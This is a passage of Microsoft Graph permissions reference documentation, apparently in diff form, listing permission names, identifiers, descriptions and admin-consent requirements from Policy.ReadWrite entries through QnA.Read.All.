+| DisplayText |
+- |
+Read and write your organization's device configuration policies |
+
+
+| Description |
+- |
+Allows the app to read and write your organization's device configuration policies on behalf of the signed-in user. For example, device registration policy can limit initial provisioning controls using quota restrictions, additional authentication and authorization checks. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+Policy.ReadWrite.ExternalIdentities
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+03cc4f92-788e-4ede-b93f-199424d144a5 |
+b5219784-1215-45b5-b3f1-88fe1081f9c0 |
+
+
+| DisplayText |
+Read and write your organization's external identities policy |
+Read and write your organization's external identities policy |
+
+
+| Description |
+Allows the application to read and update the organization's external identities policy without a signed-in user. For example, external identities policy controls if users invited to access resources in your organization via B2B collaboration or B2B direct connect are allowed to self-service leave. |
+Allows the application to read and update the organization's external identities policy on behalf of the signed-in user. For example, external identities policy controls if users invited to access resources in your organization via B2B collaboration or B2B direct connect are allowed to self-service leave. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Policy.ReadWrite.FeatureRollout
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+2044e4f1-e56c-435b-925c-44cd8f6ba89a |
+92a38652-f13b-4875-bc77-6e1dbb63e1b2 |
+
+
+| DisplayText |
+Read and write feature rollout policies |
+Read and write your organization's feature rollout policies |
+
+
+| Description |
+Allows the app to read and write feature rollout policies without a signed-in user. Includes abilities to assign and remove users and groups to rollout of a specific feature. |
+Allows the app to read and write your organization's feature rollout policies on behalf of the signed-in user. Includes abilities to assign and remove users and groups to rollout of a specific feature. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Policy.ReadWrite.FedTokenValidation
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+90bbca0b-227c-4cdc-8083-1c6cfb95bac6 |
+be1be369-4540-4ac9-8928-79de99f70d8f |
+
+
+| DisplayText |
+Read and write your organization's federated token validation policy |
+Read and write your organization's federated token validation policy |
+
+
+| Description |
+Allows the application to read and update the organization's federated token validation policy without a signed-in user. |
+Allows the application to read and update the organization's federated token validation policy on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Policy.ReadWrite.IdentityProtection
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+2dcf8603-09eb-4078-b1ec-d30a1a76b873 |
+7256e131-3efb-4323-9854-cf41c6021770 |
+
+
+| DisplayText |
+Read and write your organization's identity protection policy |
+Read and write your organization's identity protection policy |
+
+
+| Description |
+Allows the app to read and write your organization's identity protection policy without a signed-in user. |
+Allows the app to read and write your organization's identity protection policy on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Policy.ReadWrite.MobilityManagement
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+a8ead177-1889-4546-9387-f25e658e2a79 |
+
+
+| DisplayText |
+- |
+Read and write your organization's mobility management policies |
+
+
+| Description |
+- |
+Allows the app to read and write your organization's mobility management policies on behalf of the signed-in user. For example, a mobility management policy can set the enrollment scope for a given mobility management application. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+Policy.ReadWrite.PermissionGrant
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a402ca1c-2696-4531-972d-6e5ee4aa11ea |
+2672f8bb-fd5e-42e0-85e1-ec764dd2614e |
+
+
+| DisplayText |
+Manage consent and permission grant policies |
+Manage consent and permission grant policies |
+
+
+| Description |
+Allows the app to manage policies related to consent and permission grants for applications, without a signed-in user. |
+Allows the app to manage policies related to consent and permission grants for applications, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Policy.ReadWrite.SecurityDefaults
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+1c6e93a6-28e2-4cbb-9f64-1a46a821124d |
+0b2a744c-2abf-4f1e-ad7e-17a087e2be99 |
+
+
+| DisplayText |
+Read and write your organization's security defaults policy |
+Read and write your organization's security defaults policy |
+
+
+| Description |
+Allows the app to read and write your organization's security defaults policy, without a signed-in user. |
+Allows the app to read and write your organization's security defaults policy on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Policy.ReadWrite.TrustFramework
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+79a677f7-b79d-40d0-a36a-3e6f8688dd7a |
+cefba324-1a70-4a6e-9c1d-fd670b7ae392 |
+
+
+| DisplayText |
+Read and write your organization's trust framework policies |
+Read and write your organization's trust framework policies |
+
+
+| Description |
+Allows the app to read and write your organization's trust framework policies without a signed in user. |
+Allows the app to read and write your organization's trust framework policies on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+POP.AccessAsUser.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+d7b7f2d9-0f45-4ea1-9d42-e50810c06991 |
+
+
+| DisplayText |
+- |
+Read and write access to mailboxes via POP. |
+
+
+| Description |
+- |
+Allows the app to have the same access to mailboxes as the signed-in user via POP protocol. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The POP.AccessAsUser.All delegated permission is available for consent in personal Microsoft accounts.
+
+Presence.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+76bc735e-aecd-4a1d-8b4c-2b915deabb79 |
+
+
+| DisplayText |
+- |
+Read user's presence information |
+
+
+| Description |
+- |
+Allows the app to read presence information on behalf of the signed-in user. Presence information includes activity, availability, status note, calendar out-of-office message, timezone and location. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Presence.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a70e0c2d-e793-494c-94c4-118fa0a67f42 |
+9c7a330d-35b3-4aa1-963d-cb2b9f927841 |
+
+
+| DisplayText |
+Read presence information for all users |
+Read presence information of all users in your organization |
+
+
+| Description |
+Allows the app to read presence information of all users in the directory without a signed-in user. Presence information includes activity, availability, status note, calendar out-of-office message, timezone and location. |
+Allows the app to read presence information of all users in the directory on behalf of the signed-in user. Presence information includes activity, availability, status note, calendar out-of-office message, timezone and location. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+Presence.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+8d3c54a7-cf58-4773-bf81-c0cd6ad522bb |
+
+
+| DisplayText |
+- |
+Read and write a user's presence information |
+
+
+| Description |
+- |
+Allows the app to read the presence information and write activity and availability on behalf of the signed-in user. Presence information includes activity, availability, status note, calendar out-of-office message, timezone and location. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Presence.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+83cded22-8297-4ff6-a7fa-e97e9545a259 |
+- |
+
+
+| DisplayText |
+Read and write presence information for all users |
+- |
+
+
+| Description |
+Allows the app to read all presence information and write activity and availability of all users in the directory without a signed-in user. Presence information includes activity, availability, status note, calendar out-of-office message, time zone and location. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+PrintConnector.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+d69c2d6d-4f72-4f99-a6b9-663e32f8cf68 |
+
+
+| DisplayText |
+- |
+Read print connectors |
+
+
+| Description |
+- |
+Allows the application to read print connectors on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+PrintConnector.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+79ef9967-7d59-4213-9c64-4b10687637d8 |
+
+
+| DisplayText |
+- |
+Read and write print connectors |
+
+
+| Description |
+- |
+Allows the application to read and write print connectors on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+Printer.Create
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+90c30bed-6fd1-4279-bf39-714069619721 |
+
+
+| DisplayText |
+- |
+Register printers  |
+
+
+| Description |
+- |
+Allows the application to create (register) printers on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+Printer.FullControl.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+93dae4bd-43a1-4a23-9a1a-92957e1d9121 |
+
+
+| DisplayText |
+- |
+Register, read, update, and unregister printers |
+
+
+| Description |
+- |
+Allows the application to create (register), read, update, and delete (unregister) printers on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+Printer.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9709bb33-4549-49d4-8ed9-a8f65e45bb0f |
+3a736c8a-018e-460a-b60c-863b2683e8bf |
+
+
+| DisplayText |
+Read printers |
+Read printers |
+
+
+| Description |
+Allows the application to read printers without a signed-in user. |
+Allows the application to read printers on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Printer.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f5b3f73d-6247-44df-a74c-866173fddab0 |
+89f66824-725f-4b8f-928e-e1c5258dc565 |
+
+
+| DisplayText |
+Read and update printers |
+Read and update printers |
+
+
+| Description |
+Allows the application to read and update printers without a signed-in user. Does not allow creating (registering) or deleting (unregistering) printers. |
+Allows the application to read and update printers on behalf of the signed-in user. Does not allow creating (registering) or deleting (unregistering) printers. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PrinterShare.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+ed11134d-2f3f-440d-a2e1-411efada2502 |
+
+
+| DisplayText |
+- |
+Read printer shares |
+
+
+| Description |
+- |
+Allows the application to read printer shares on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+PrinterShare.ReadBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+5fa075e9-b951-4165-947b-c63396ff0a37 |
+
+
+| DisplayText |
+- |
+Read basic information about printer shares |
+
+
+| Description |
+- |
+Allows the application to read basic information about printer shares on behalf of the signed-in user. Does not allow reading access control information. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+PrinterShare.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+06ceea37-85e2-40d7-bec3-91337a46038f |
+
+
+| DisplayText |
+- |
+Read and write printer shares |
+
+
+| Description |
+- |
+Allows the application to read and update printer shares on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+PrintJob.Create
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+21f0d9c0-9f13-48b3-94e0-b6b231c7d320 |
+
+
+| DisplayText |
+- |
+Create print jobs |
+
+
+| Description |
+- |
+Allows the application to create print jobs on behalf of the signed-in user and upload document content to print jobs that the signed-in user created. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+In this to PrintJob.Create, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.
+
+PrintJob.Manage.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+58a52f47-9e36-4b17-9ebe-ce4ef7f3e6c8 |
+- |
+
+
+| DisplayText |
+Perform advanced operations on print jobs |
+- |
+
+
+| Description |
+Allows the application to perform advanced operations like redirecting a print job to another printer without a signed-in user. Also allows the application to read and update the metadata of print jobs. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+PrintJob.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+248f5528-65c0-4c88-8326-876c7236df5e |
+
+
+| DisplayText |
+- |
+Read user's print jobs |
+
+
+| Description |
+- |
+Allows the application to read the metadata and document content of print jobs that the signed-in user created. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+In this to PrintJob.Read, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.
+
+PrintJob.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ac6f956c-edea-44e4-bd06-64b1b4b9aec9 |
+afdd6933-a0d8-40f7-bd1a-b5d778e8624b |
+
+
+| DisplayText |
+Read print jobs |
+Read print jobs |
+
+
+| Description |
+Allows the application to read the metadata and document content of print jobs without a signed-in user. |
+Allows the application to read the metadata and document content of print jobs on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+In this to PrintJob.Read.All, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.
+
+PrintJob.ReadBasic
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+6a71a747-280f-4670-9ca0-a9cbf882b274 |
+
+
+| DisplayText |
+- |
+Read basic information of user's print jobs |
+
+
+| Description |
+- |
+Allows the application to read the metadata of print jobs that the signed-in user created. Does not allow access to print job document content. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+In this to PrintJob.ReadBasic, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.
+
+PrintJob.ReadBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+fbf67eee-e074-4ef7-b965-ab5ce1c1f689 |
+04ce8d60-72ce-4867-85cf-6d82f36922f3 |
+
+
+| DisplayText |
+Read basic information for print jobs |
+Read basic information of print jobs |
+
+
+| Description |
+Allows the application to read the metadata of print jobs without a signed-in user. Does not allow access to print job document content. |
+Allows the application to read the metadata of print jobs on behalf of the signed-in user. Does not allow access to print job document content. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+In this to PrintJob.ReadBasic.All, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.
+
+PrintJob.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+b81dd597-8abb-4b3f-a07a-820b0316ed04 |
+
+
+| DisplayText |
+- |
+Read and write user's print jobs |
+
+
+| Description |
+- |
+Allows the application to read and update the metadata and document content of print jobs that the signed-in user created. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+In this to PrintJob.ReadWrite, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.
+
+PrintJob.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5114b07b-2898-4de7-a541-53b0004e2e13 |
+036b9544-e8c5-46ef-900a-0646cc42b271 |
+
+
+| DisplayText |
+Read and write print jobs |
+Read and write print jobs |
+
+
+| Description |
+Allows the application to read and update the metadata and document content of print jobs without a signed-in user. |
+Allows the application to read and update the metadata and document content of print jobs on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+In this to PrintJob.ReadWrite.All, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.
+
+PrintJob.ReadWriteBasic
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+6f2d22f2-1cb6-412c-a17c-3336817eaa82 |
+
+
+| DisplayText |
+- |
+Read and write basic information of user's print jobs |
+
+
+| Description |
+- |
+Allows the application to read and update the metadata of print jobs that the signed-in user created. Does not allow access to print job document content. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+In this to PrintJob.ReadWriteBasic, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.
+
+PrintJob.ReadWriteBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+57878358-37f4-4d3a-8c20-4816e0d457b1 |
+3a0db2f6-0d2a-4c19-971b-49109b19ad3d |
+
+
+| DisplayText |
+Read and write basic information for print jobs |
+Read and write basic information of print jobs |
+
+
+| Description |
+Allows the application to read and update the metadata of print jobs without a signed-in user. Does not allow access to print job document content. |
+Allows the application to read and update the metadata of print jobs on behalf of the signed-in user. Does not allow access to print job document content. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+In this to PrintJob.ReadWriteBasic.All, the app requires at least the Printer.Read.All (or a more prviliged permission) because print jobs are stored within printers.
+
+PrintSettings.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b5991872-94cf-4652-9765-29535087c6d8 |
+490f32fd-d90f-4dd7-a601-ff6cdc1a3f6c |
+
+
+| DisplayText |
+Read tenant-wide print settings |
+Read tenant-wide print settings |
+
+
+| Description |
+Allows the application to read tenant-wide print settings without a signed-in user. |
+Allows the application to read tenant-wide print settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PrintSettings.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+9ccc526a-c51c-4e5c-a1fd-74726ef50b8f |
+
+
+| DisplayText |
+- |
+Read and write tenant-wide print settings |
+
+
+| Description |
+- |
+Allows the application to read and write tenant-wide print settings on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+PrintTaskDefinition.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+456b71a7-0ee0-4588-9842-c123fcc8f664 |
+- |
+
+
+| DisplayText |
+Read, write and update print task definitions |
+- |
+
+
+| Description |
+Allows the application to read and update print task definitions without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+PrivilegedAccess.Read.AzureAD
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+4cdc2547-9148-4295-8d11-be0db1391d6b |
+b3a539c9-59cb-4ad5-825a-041ddbdc2bdb |
+
+
+| DisplayText |
+Read privileged access to Azure AD roles |
+Read privileged access to Azure AD |
+
+
+| Description |
+Allows the app to read time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD built-in and custom administrative roles in your organization, without a signed-in user. |
+Allows the app to read time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD built-in and custom administrative roles, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PrivilegedAccess.Read.AzureADGroup
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+01e37dc9-c035-40bd-b438-b2879c4870a6 |
+d329c81c-20ad-4772-abf9-3f6fdb7e5988 |
+
+
+| DisplayText |
+Read privileged access to Azure AD groups |
+Read privileged access to Azure AD groups |
+
+
+| Description |
+Allows the app to read time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD groups in your organization, without a signed-in user. |
+Allows the app to read time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD groups, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PrivilegedAccess.Read.AzureResources
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5df6fe86-1be0-44eb-b916-7bd443a71236 |
+1d89d70c-dcac-4248-b214-903c457af83a |
+
+
+| DisplayText |
+Read privileged access to Azure resources |
+Read privileged access to Azure resources |
+
+
+| Description |
+Allows the app to read time-based assignment and just-in-time elevation of user privileges to audit Azure resources in your organization, without a signed-in user. |
+Allows the app to read time-based assignment and just-in-time elevation of Azure resources (like your subscriptions, resource groups, storage, compute) on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PrivilegedAccess.ReadWrite.AzureAD
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+854d9ab1-6657-4ec8-be45-823027bcd009 |
+3c3c74f5-cdaa-4a97-b7e0-4e788bfcfb37 |
+
+
+| DisplayText |
+Read and write privileged access to Azure AD roles |
+Read and write privileged access to Azure AD |
+
+
+| Description |
+Allows the app to request and manage time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD built-in and custom administrative roles in your organization, without a signed-in user. |
+Allows the app to request and manage just in time elevation (including scheduled elevation) of users to Azure AD built-in administrative roles, on behalf of signed-in users. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PrivilegedAccess.ReadWrite.AzureADGroup
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+2f6817f8-7b12-4f0f-bc18-eeaf60705a9e |
+32531c59-1f32-461f-b8df-6f8a3b89f73b |
+
+
+| DisplayText |
+Read and write privileged access to Azure AD groups |
+Read and write privileged access to Azure AD groups |
+
+
+| Description |
+Allows the app to request and manage time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD groups in your organization, without a signed-in user. |
+Allows the app to request and manage time-based assignment and just-in-time elevation (including scheduled elevation) of Azure AD groups, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PrivilegedAccess.ReadWrite.AzureResources
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6f9d5abc-2db6-400b-a267-7de22a40fb87 |
+a84a9652-ffd3-496e-a991-22ba5529156a |
+
+
+| DisplayText |
+Read and write privileged access to Azure resources |
+Read and write privileged access to Azure resources |
+
+
+| Description |
+Allows the app to request and manage time-based assignment and just-in-time elevation of Azure resources (like your subscriptions, resource groups, storage, compute) in your organization, without a signed-in user. |
+Allows the app to request and manage time-based assignment and just-in-time elevation of user privileges to manage Azure resources (like subscriptions, resource groups, storage, compute) on behalf of the signed-in users. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PrivilegedAssignmentSchedule.Read.AzureADGroup
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+cd4161cb-f098-48f8-a884-1eda9a42434c |
+02a32cc4-7ab5-4b58-879a-0586e0f7c495 |
+
+
+| DisplayText |
+Read assignment schedules for access to Azure AD groups |
+Read assignment schedules for access to Azure AD groups |
+
+
+| Description |
+Allows the app to read time-based assignment schedules for access to Azure AD groups, without a signed-in user. |
+Allows the app to read time-based assignment schedules for access to Azure AD groups, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+41202f2c-f7ab-45be-b001-85c9728b9d69 |
+06dbc45d-6708-4ef0-a797-f797ee68bf4b |
+
+
+| DisplayText |
+Read, create, and delete assignment schedules for access to Azure AD groups |
+Read, create, and delete assignment schedules for access to Azure AD groups |
+
+
+| Description |
+Allows the app to read, create, and delete time-based assignment schedules for access to Azure AD groups, without a signed-in user. |
+Allows the app to read, create, and delete time-based assignment schedules for access to Azure AD groups, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PrivilegedEligibilitySchedule.Read.AzureADGroup
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+edb419d6-7edc-42a3-9345-509bfdf5d87c |
+8f44f93d-ecef-46ae-a9bf-338508d44d6b |
+
+
+| DisplayText |
+Read eligibility schedules for access to Azure AD groups |
+Read eligibility schedules for access to Azure AD groups |
+
+
+| Description |
+Allows the app to read time-based eligibility schedules for access to Azure AD groups, without a signed-in user. |
+Allows the app to read time-based eligibility schedules for access to Azure AD groups, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+618b6020-bca8-4de6-99f6-ef445fa4d857 |
+ba974594-d163-484e-ba39-c330d5897667 |
+
+
+| DisplayText |
+Read, create, and delete eligibility schedules for access to Azure AD groups |
+Read, create, and delete eligibility schedules for access to Azure AD groups |
+
+
+| Description |
+Allows the app to read, create, and delete time-based eligibility schedules for access to Azure AD groups, without a signed-in user. |
+Allows the app to read, create, and delete time-based eligibility schedules for access to Azure AD groups, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+profile
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+14dad69e-099b-42c9-810b-d002981feec1 |
+
+
+| DisplayText |
+- |
+View users' basic profile |
+
+
+| Description |
+- |
+Allows the app to see your users' basic profile (e.g., name, picture, user name, email address) |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The profile delegated permission is available for consent in personal Microsoft accounts.
+
+profile is an OpenID Connect (OIDC) scope.
+You can use the OIDC scopes to specify artifacts that you want returned in Azure AD authorization and token requests. They are supported differently by the Azure AD v1.0 and v2.0 endpoints.
+With the Azure AD v1.0 endpoint, only the openid scope is used. You specify it in the scope parameter in an authorization request to return an ID token when you use the OpenID Connect protocol to sign in a user to your app. For more information, see Authorize access to web applications using OpenID Connect and Azure Active Directory. To successfully return an ID token, you must also make sure that the User.Read permission is configured when you register your app.
+With the Azure AD v2.0 endpoint, you specify the offline_access scope in the scope parameter to explicitly request a refresh token when using the OAuth 2.0 or OpenID Connect protocols. With OpenID Connect, you specify the openid scope to request an ID token. You can also specify the email scope, profile scope, or both to return additional claims in the ID token. You do not need to specify the User.Read permission to return an ID token with the v2.0 endpoint. For more information, see OpenID Connect scopes.
+The Microsoft Authentication Library (MSAL) currently specifies offline_access, openid, profile, and email by default in authorization and token requests. This means that, for the default case, if you specify these scopes explicitly, Azure AD may return an error.
+
+ProfilePhoto.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+e24d31aa-e1ab-4c80-85fe-23018690335d |
+469cd065-729e-4dee-b1fa-d92e0fab6310 |
+
+
+| DisplayText |
+Read profile photo of a user or group |
+Read profile photo of a user or group |
+
+
+| Description |
+Allows the app to read all profile photos of users and groups, without a signed-in user |
+Allows the app to read all profile photos of users and groups, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ProfilePhoto.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+27baa7f6-5dfb-4ba8-b1d3-1e812c143013 |
+f5b24df7-511e-48bb-ae88-643f023b55e1 |
+
+
+| DisplayText |
+Read and write profile photo of a user or group |
+Read and write profile photo of a user or group |
+
+
+| Description |
+Allows the app to read and write all profile photos of users and groups, without a signed-in user |
+Allows the app to read and write all profile photos of users and groups, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ProgramControl.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+eedb7fdd-7539-4345-a38b-4839e4a84cbd |
+c492a2e1-2f8f-4caa-b076-99bbf6e40fe4 |
+
+
+| DisplayText |
+Read all programs |
+Read all programs that user can access |
+
+
+| Description |
+Allows the app to read programs and program controls in the organization, without a signed-in user. |
+Allows the app to read programs and program controls that the signed-in user has access to in the organization. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ProgramControl.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+60a901ed-09f7-4aa5-a16e-7dd3d6f9de36 |
+50fd364f-9d93-4ae1-b170-300e87cccf84 |
+
+
+| DisplayText |
+Manage all programs |
+Manage all programs that user can access |
+
+
+| Description |
+Allows the app to read, update, delete and perform actions on programs and program controls in the organization, without a signed-in user. |
+Allows the app to read, update, delete and perform actions on programs and program controls that the signed-in user has access to in the organization. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PublicKeyInfrastructure.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+214fda0c-514a-4650-b037-b562b1a66124 |
+04a4b2a2-3f26-4fc8-87ee-9c46e68db175 |
+
+
+| DisplayText |
+Read all certificate based authentication configurations |
+Read certificate based authentication configurations |
+
+
+| Description |
+Allows the application to read certificate-based authentication configuration such as all public key infrastructures (PKI) and certificate authorities (CA) configured for the organization, without a signed-in user. |
+Allows the application to read certificate-based authentication configuration such as all public key infrastructures (PKI) and certificate authorities (CA) configured for the organization, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+PublicKeyInfrastructure.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a2b63618-5350-462d-b1b3-ba6eb3684e26 |
+3591b7f3-dba8-4bad-b667-7a64bd4f2b83 |
+
+
+| DisplayText |
+Read and write all certificate based authentication configurations |
+Read and write certificate based authentication configurations |
+
+
+| Description |
+Allows the application to read and write certificate-based authentication configuration such as all public key infrastructures (PKI) and certificate authorities (CA) configured for the organization, without a signed-in user. |
+Allows the application to read and write certificate-based authentication configuration such as all public key infrastructures (PKI) and certificate authorities (CA) configured for the organization, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+QnA.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ee49e170-1dd1-4030-b44c-61ad6e98f743 |
